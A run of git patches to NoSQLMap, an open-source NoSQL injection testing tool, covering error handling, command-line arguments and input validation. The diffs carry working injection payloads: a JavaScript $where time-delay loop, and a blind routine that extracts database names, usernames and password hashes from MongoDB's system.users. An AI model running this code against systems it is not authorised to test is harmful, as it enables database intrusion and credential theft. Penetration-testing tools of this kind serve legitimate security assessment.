while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" else: uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" @@ -959,7 +942,9 @@ def buildUri(origUri, randValue): #Clip the extra & off the end of the URL x = 0 while x <= 18: - uriArray[x]= uriArray[x][:-1] +# uriArray[x]= uriArray[x][:-1] + uriArray[x]=split_uri[0]+"?"+urllib.quote_plus(uriArray[x][:-1]) + x += 1 return uriArray[0] @@ -1193,4 +1178,3 @@ def getDBInfo(): crackHash = raw_input("Crack another hash (y/n)?") raw_input("Press enter to continue...") return - From 8c1fe3507cc718c36ff62b27a2789d83fa62fccb Mon Sep 17 00:00:00 2001 From: Michael <886344+codingo@users.noreply.github.com> Date: Wed, 11 Oct 2017 11:55:48 +1000 Subject: [PATCH 07/43] Create nop --- docs/nop | 1 + 1 file changed, 1 insertion(+) create mode 100644 docs/nop diff --git a/docs/nop b/docs/nop new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/docs/nop @@ -0,0 +1 @@ + From 0c642e3e42f61c05c816b20f4d76a523cbace5be Mon Sep 17 00:00:00 2001 From: Michael <886344+codingo@users.noreply.github.com> Date: Wed, 11 Oct 2017 11:56:20 +1000 Subject: [PATCH 08/43] Set theme jekyll-theme-cayman --- docs/_config.yml | 1 + 1 file changed, 1 insertion(+) create mode 100644 docs/_config.yml diff --git a/docs/_config.yml b/docs/_config.yml new file mode 100644 index 0000000..c419263 --- /dev/null +++ b/docs/_config.yml @@ -0,0 +1 @@ +theme: jekyll-theme-cayman \ No newline at end of file From 5dc778abe48009f20ca1eb59d8036176527949ad Mon Sep 17 00:00:00 2001 From: Andres Riancho Date: Fri, 20 Oct 2017 17:36:28 -0300 Subject: [PATCH 09/43] Better error handling for web applications which respond with non-200 codes --- nsmweb.py | 112 ++++++++++++++++++++++++++++-------------------------- 1 file changed, 59 insertions(+), 53 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 4dd77c8..f38725e 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -58,7 +58,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): req = urllib2.Request(appURL, None, requestHeaders) appRespCode = urllib2.urlopen(req).getcode() if appRespCode == 200: - normLength = int(len(urllib2.urlopen(req).read())) + normLength = int(len(getResponseBodyHandlingErrors(req))) timeReq = urllib2.urlopen(req) start = time.time() page = timeReq.read() @@ -86,7 +86,6 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Using " + injectString + " for injection testing.\n" # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. - # Add error handling for Non-200 HTTP response codes if random strings freaks out the app. if "?" not in appURL: print "No URI parameters provided for GET request...Check your options.\n" raw_input("Press enter to continue...") @@ -101,7 +100,9 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): else: print "Sending random parameter value..." - randLength = int(len(urllib2.urlopen(req).read())) + responseBody = getResponseBodyHandlingErrors(req) + randLength = int(len(responseBody)) + print "Got response length of " + str(randLength) + "." randNormDelta = abs(normLength - randLength) @@ -117,10 +118,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): # Test for errors returned by injection req = urllib2.Request(uriArray[1], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: @@ -135,11 +136,11 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print uriArray[2] req = urllib2.Request(uriArray[2], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 @@ -154,11 +155,11 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 3: $where injection (integer escape)" req = urllib2.Request(uriArray[3], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum +=1 @@ -174,10 +175,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 4: $where injection string escape (single record)" req = urllib2.Request(uriArray[4], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: @@ -191,10 +192,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 5: $where injection integer escape (single record)" req = urllib2.Request(uriArray[5], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum +=1 @@ -209,10 +210,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 6: This != injection (string escape)" req = urllib2.Request(uriArray[6], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: @@ -226,10 +227,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 7: This != injection (integer escape)" req = urllib2.Request(uriArray[7], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: @@ -244,10 +245,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 8: PHP/ExpressJS > Undefined Injection" req = urllib2.Request(uriArray[8], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 @@ -258,10 +259,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Starting Javascript string escape time based injection..." req = urllib2.Request(uriArray[18], None, requestHeaders) start = time.time() - strTimeInj = urllib2.urlopen(req) - page = strTimeInj.read() + page = getResponseBodyHandlingErrors(req) end = time.time() - strTimeInj.close() #print str(end) #print str(start) strTimeDelta = (int(round((end - start), 3)) - timeBase) @@ -277,10 +276,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Starting Javascript integer escape time based injection..." req = urllib2.Request(uriArray[9], None, requestHeaders) start = time.time() - intTimeInj = urllib2.urlopen(req) - page = intTimeInj.read() + page = getResponseBodyHandlingErrors(req) end = time.time() - intTimeInj.close() #print str(end) #print str(start) intTimeDelta = (int(round((end - start), 3)) - timeBase) @@ -348,6 +345,15 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): return() +def getResponseBodyHandlingErrors(req): + try: + responseBody = urllib2.urlopen(req).read() + except urllib2.HTTPError, err: + responseBody = err.read() + + return responseBody + + def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): print "Web App Attacks (POST)" print "===============" @@ -386,7 +392,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): if appRespCode == 200: - normLength = int(len(urllib2.urlopen(req).read())) + normLength = int(len(getResponseBodyHandlingErrors(req))) timeReq = urllib2.urlopen(req) start = time.time() page = timeReq.read() @@ -438,7 +444,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): body = urllib.urlencode(postData) req = urllib2.Request(appURL,body, requestHeaders) - randLength = int(len(urllib2.urlopen(req).read())) + randLength = int(len(getResponseBodyHandlingErrors(req))) print "Got response length of " + str(randLength) + "." randNormDelta = abs(normLength - randLength) @@ -460,10 +466,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 1: PHP/ExpressJS != associative array injection" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -487,10 +493,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 2: PHP/ExpressJS > Undefined Injection" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -504,10 +510,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 3: $where injection (string escape)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 else: @@ -524,10 +530,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 4: $where injection (integer escape)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 else: @@ -545,10 +551,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 5: $where injection string escape (single record)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -566,10 +572,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 6: $where injection integer escape (single record)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -588,10 +594,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 7: This != injection (string escape)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 print "\n" @@ -608,10 +614,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 8: This != injection (integer escape)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -974,7 +980,7 @@ def getDBInfo(): trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") #print "Debug " + str(trueUri) req = urllib2.Request(trueUri, None, requestHeaders) - baseLen = int(len(urllib2.urlopen(req).read())) + baseLen = int(len(getResponseBodyHandlingErrors(req))) print "Got baseline true query length of " + str(baseLen) print "Calculating DB name length..." @@ -983,7 +989,7 @@ def getDBInfo(): calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&") #print "Debug: " + calcUri req = urllib2.Request(calcUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) #print "Debug length: " + str(lenUri) if lenUri == baseLen: @@ -998,7 +1004,7 @@ def getDBInfo(): charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&") req = urllib2.Request(charUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: dbName = dbName + chars[charCounter] @@ -1024,7 +1030,7 @@ def getDBInfo(): usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a") req = urllib2.Request(usrCntUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: print "Found " + str(usrCount) + " user(s)." @@ -1050,7 +1056,7 @@ def getDBInfo(): usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: # Got the right number of characters @@ -1063,7 +1069,7 @@ def getDBInfo(): usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: username = username + chars[charCounterUsr] @@ -1088,7 +1094,7 @@ def getDBInfo(): hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&") req = urllib2.Request(hashUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: pwdHash = pwdHash + chars[charCounterHash] @@ -1111,7 +1117,7 @@ def getDBInfo(): usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: # Got the right number of characters @@ -1124,7 +1130,7 @@ def getDBInfo(): usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: username = username + chars[charCounterUsr] @@ -1146,7 +1152,7 @@ def getDBInfo(): hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&") req = urllib2.Request(hashUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: pwdHash = pwdHash + chars[charCounterHash] From b8852e237e7bf234a2e0465d0f8e440d3a36fe63 Mon Sep 17 00:00:00 2001 From: Nythiennzo Date: Mon, 4 Dec 2017 18:24:55 +0400 Subject: [PATCH 10/43] Fix bug on injectString size input. --- nsmweb.py | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index f38725e..8cc4935 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -81,7 +81,15 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if appUp == True: - injectSize = raw_input("Baseline test-Enter random string size: ") + sizeSelect = True + + while sizeSelect: + injectSize = raw_input("Baseline test-Enter random string size: ") + if injectSize.isdigit(): + sizeSelect = False + else: + print "Invalid! The size should be an integer." + injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" @@ -429,7 +437,15 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): raw_input("Something went wrong. Press enter to return to the main menu...") return - injectSize = raw_input("Baseline test-Enter random string size: ") + sizeSelect = True + + while sizeSelect: + injectSize = raw_input("Baseline test-Enter random string size: ") + if injectSize.isdigit(): + sizeSelect = False + else: + print "Invalid! The size should be an integer." + injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" From 44a22f52c7ccb9227112c6ae69062de7f97515ce Mon Sep 17 00:00:00 2001 From: ProDigySML Date: Tue, 13 Feb 2018 13:38:21 +1100 Subject: [PATCH 11/43] Added in a patch for URLs not working when they do not start with a / --- nosqlmap.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nosqlmap.py b/nosqlmap.py index d7df2da..1cbca51 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -247,6 +247,9 @@ def options(): elif select == "3": uri = raw_input("Enter URI Path (Press enter for no URI): ") + #Ensuring the URI path always starts with / and causes less errors + if uri[0] != "/": + uri = "/" + uri print "\nURI Path set to " + uri + "\n" optionSet[2] = True From a56e9a503dd228e26d38e2add4fb5717f92a145b Mon Sep 17 00:00:00 2001 From: JeromeNaucelle Date: Wed, 27 Jun 2018 14:32:49 +0200 Subject: [PATCH 12/43] Fix "Headers not loaded after saving" (aka bug-66) --- nosqlmap.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/nosqlmap.py b/nosqlmap.py index 1cbca51..58bf444 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -367,9 +367,15 @@ def options(): myPort = optList[5] verb = optList[6] https = optList[7] + + # saved headers position will depend of the request verb + headersPos= 1 if httpMethod == "POST": postData = ast.literal_eval(csvOpt[1]) + headersPos = 2 + + requestHeaders = ast.literal_eval(csvOpt[headersPos]) # Set option checking array based on what was loaded x = 0 From 71dcd79f0432bbc4499491a524a33afa744b7a05 Mon Sep 17 00:00:00 2001 From: Cotonne Date: Sun, 16 Sep 2018 09:38:20 +0200 Subject: [PATCH 13/43] Add arguments for main file --- nosqlmap.py | 89 ++++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 75 insertions(+), 14 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 58bf444..6a4064b 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -12,8 +12,10 @@ import signal import ast +import argparse -def main(): + +def main(args): signal.signal(signal.SIGINT, signal_handler) global optionSet # Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu. @@ -38,7 +40,10 @@ def main(): dbPort = 27017 myIP = "Not Set" myPort = "Not Set" - mainMenu() + if args.attack: + attack(args) + else: + mainMenu() def mainMenu(): global platform @@ -56,11 +61,11 @@ def mainMenu(): mmSelect = True while mmSelect: os.system('clear') - print " _ _ ___ ___ _ __ __           " - print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " + print " _ _ ___ ___ _ __ __ " + print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \\" print("|_|\_\___/___/\__\_\____|_| |_\__,_| .__/") - print(" v0.7 codingo@protonmail.com      |_|   ") + print(" v0.7 codingo@protonmail.com |_| ") print "\n" print "1-Set options" print "2-NoSQL DB Access Attacks" @@ -116,6 +121,50 @@ def mainMenu(): else: raw_input("Invalid selection. Press enter to continue.") +def build_request_headers(reqHeadersIn): + requestHeaders = {} + reqHeadersArray = reqHeadersIn.split(",") + headerNames = reqHeadersArray[0::2] + headerValues = reqHeadersArray[1::2] + requestHeaders = dict(zip(headerNames, headerValues)) + return requestHeaders + +def build_post_data(postDataIn): + pdArray = postDataIn.split(",") + paramNames = pdArray[0::2] + paramValues = pdArray[1::2] + postData = dict(zip(paramNames,paramValues)) + return postData + +def attack(args): + platform = args.platform + victim = args.victim + webPort = args.webPort + dbPort = args.dbPort + myIP = args.myIP + myPort = args.myPort + uri = args.uri + https = args.https + verb = args.verb + httpMethod = args.httpMethod + requestHeaders = build_request_headers(args.requestHeaders) + postData = build_post_data(args.postData) + + if args.attack == 1: + if platform == "MongoDB": + nsmmongo.netAttacks(victim, dbPort, myIP, myPort) + elif platform == "CouchDB": + nsmcouch.netAttacks(victim, dbPort, myIP) + elif args.attack == 2: + if httpMethod == "GET": + nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders) + elif httpMethod == "POST": + nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders) + elif args.attack == 3: + scanResult = nsmscan.massScan(platform) + if scanResult != None: + optionSet[0] = True + victim = scanResult[1] def platSel(): global platform @@ -288,10 +337,7 @@ def options(): print "POST request set" optionSet[3] = True postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n") - pdArray = postDataIn.split(",") - paramNames = pdArray[0::2] - paramValues = pdArray[1::2] - postData = dict(zip(paramNames,paramValues)) + build_post_data(postDataIn) httpMethod = "POST" else: @@ -448,14 +494,27 @@ def options(): elif select == "h": reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n") - reqHeadersArray = reqHeadersIn.split(",") - headerNames = reqHeadersArray[0::2] - headerValues = reqHeadersArray[1::2] - requestHeaders = dict(zip(headerNames, headerValues)) + build_request_headers(reqHeadersIn) elif select == "x": return +def build_parser(): + parser = argparse.ArgumentParser() + parser.add_argument("--attack", help="1 = NoSQL DB Access Attacks, 2 = NoSQL Web App attacks, 3 - Scan for Anonymous platform Access", type=int, choices=[1,2,3]) + parser.add_argument("--platform", help="Platform to attack", choices=["MongoDB", "CouchDB"], default="MongoDB") + parser.add_argument("--victim", help="Set target host/IP (ex: localhost or 127.0.0.1)") + parser.add_argument("--dbPort", help="Set shell listener port", type=int) + parser.add_argument("--myIP",help="Set my local platform/Shell IP") + parser.add_argument("--myPort",help="Set my local platform/Shell port", type=int) + parser.add_argument("--webPort", help="Set web app port ([1 - 65535])", type=int) + parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") + parser.add_argument("--httpMethod", help="Set HTTP Request Method", choices=["GET","POST"], default="GET") + parser.add_argument("--https", help="Toggle HTTPS", choices=["ON", "OFF"], default="OFF") + parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF") + parser.add_argument("--postData", help="Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") + parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") + return parser def signal_handler(signal, frame): print "\n" @@ -463,4 +522,6 @@ def signal_handler(signal, frame): sys.exit() if __name__ == '__main__': - main() + parser = build_parser() + args = parser.parse_args() + main(args) From 0628784b1e928f3c3d78e20eeee36516c9eafe32 Mon Sep 17 00:00:00 2001 From: Cotonne Date: Sun, 16 Sep 2018 10:44:30 +0200 Subject: [PATCH 14/43] Add parameters for Web Attack --- nosqlmap.py | 14 +++++-- nsmcouch.py | 5 ++- nsmmongo.py | 4 +- nsmscan.py | 4 +- nsmweb.py | 112 +++++++++++++++++++++++++++++++++------------------- 5 files changed, 90 insertions(+), 49 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 6a4064b..dd7dbf5 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -152,14 +152,14 @@ def attack(args): if args.attack == 1: if platform == "MongoDB": - nsmmongo.netAttacks(victim, dbPort, myIP, myPort) + nsmmongo.netAttacks(victim, dbPort, myIP, myPort, args) elif platform == "CouchDB": - nsmcouch.netAttacks(victim, dbPort, myIP) + nsmcouch.netAttacks(victim, dbPort, myIP, args) elif args.attack == 2: if httpMethod == "GET": - nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders) + nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders, args) elif httpMethod == "POST": - nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders) + nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args) elif args.attack == 3: scanResult = nsmscan.massScan(platform) if scanResult != None: @@ -514,6 +514,12 @@ def build_parser(): parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF") parser.add_argument("--postData", help="Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") + + modules = [nsmcouch, nsmmongo, nsmscan, nsmweb] + for module in modules: + for arg in module.args(): + parser.add_argument(arg[0], help=arg[1]) + return parser def signal_handler(signal, frame): diff --git a/nsmcouch.py b/nsmcouch.py index da63bca..f2d344b 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -21,6 +21,8 @@ yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] +def args(): + return [] def couchScan(target,port,pingIt): if pingIt == True: @@ -63,8 +65,7 @@ def couchScan(target,port,pingIt): except: return [3,None] - -def netAttacks(target,port, myIP): +def netAttacks(target,port, myIP, args = None): print "DB Access attacks (CouchDB)" print "======================" mgtOpen = False diff --git a/nsmmongo.py b/nsmmongo.py index 04a0b20..c01e410 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -18,8 +18,10 @@ yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] +def args(): + return [] -def netAttacks(target, dbPort, myIP, myPort): +def netAttacks(target, dbPort, myIP, myPort, args = None): print "DB Access attacks (MongoDB)" print "=================" mgtOpen = False diff --git a/nsmscan.py b/nsmscan.py index 1360b4f..06cb044 100644 --- a/nsmscan.py +++ b/nsmscan.py @@ -7,8 +7,10 @@ import nsmmongo import nsmcouch +def args(): + return [] -def massScan(platform): +def massScan(platform, args = None): yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] optCheck = True diff --git a/nsmweb.py b/nsmweb.py index 8cc4935..36b825d 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -19,7 +19,14 @@ ssl._create_default_https_context = ssl._create_unverified_context -def getApps(webPort,victim,uri,https,verb,requestHeaders): +def args(): + return [ + ["--injectSize", "Size of payload"], + ["--injectFormat", "1-Alphanumeric, 2-Letters only, 3-Numbers only, 4-Email address"], + ["--params", "Enter parameters to inject in a comma separated list"], + ["--doTimeAttack", "Start timing based tests (y/n)"]] + +def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): print "Web App Attacks (GET)" print "===============" paramName = [] @@ -81,25 +88,32 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if appUp == True: - sizeSelect = True + if args == None: + sizeSelect = not injectSize.isdigit() - while sizeSelect: - injectSize = raw_input("Baseline test-Enter random string size: ") - if injectSize.isdigit(): - sizeSelect = False - else: - print "Invalid! The size should be an integer." + while sizeSelect: + injectSize = raw_input("Baseline test-Enter random string size: ") + sizeSelect = not injectSize.isdigit() + if sizeSelect: + print "Invalid! The size should be an integer." + + format = randInjString(int(injectSize)) + else: + injectSize = int(args.injectSize) + format = args.injectFormat + + injectString = build_random_string(format, injectSize) - injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. if "?" not in appURL: print "No URI parameters provided for GET request...Check your options.\n" - raw_input("Press enter to continue...") + if args == None: + raw_input("Press enter to continue...") return() - randomUri = buildUri(appURL,injectString) + randomUri = buildUri(appURL,injectString, args) print "URI : " + randomUri req = urllib2.Request(randomUri, None, requestHeaders) @@ -260,8 +274,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): checkResult(randLength,injLen,testNum,verb,None) testNum += 1 - - doTimeAttack = raw_input("Start timing based tests (y/n)? ") + if args == None: + doTimeAttack = raw_input("Start timing based tests (y/n)? ") + else: + doTimeAttack = args.doTimeAttack if doTimeAttack.lower() == "y": print "Starting Javascript string escape time based injection..." @@ -323,7 +339,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): else: print "Integer attack-Unsuccessful" - fileOut = raw_input("Save results to file (y/n)? ") + if args == None: + fileOut = raw_input("Save results to file (y/n)? ") + else: + fileOut = "n" if fileOut.lower() == "y": savePath = raw_input("Enter output file name: ") @@ -349,7 +368,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): fo.write("\n") fo.close() - raw_input("Press enter to continue...") + if args == None: + raw_input("Press enter to continue...") return() @@ -430,20 +450,25 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): menuItem += 1 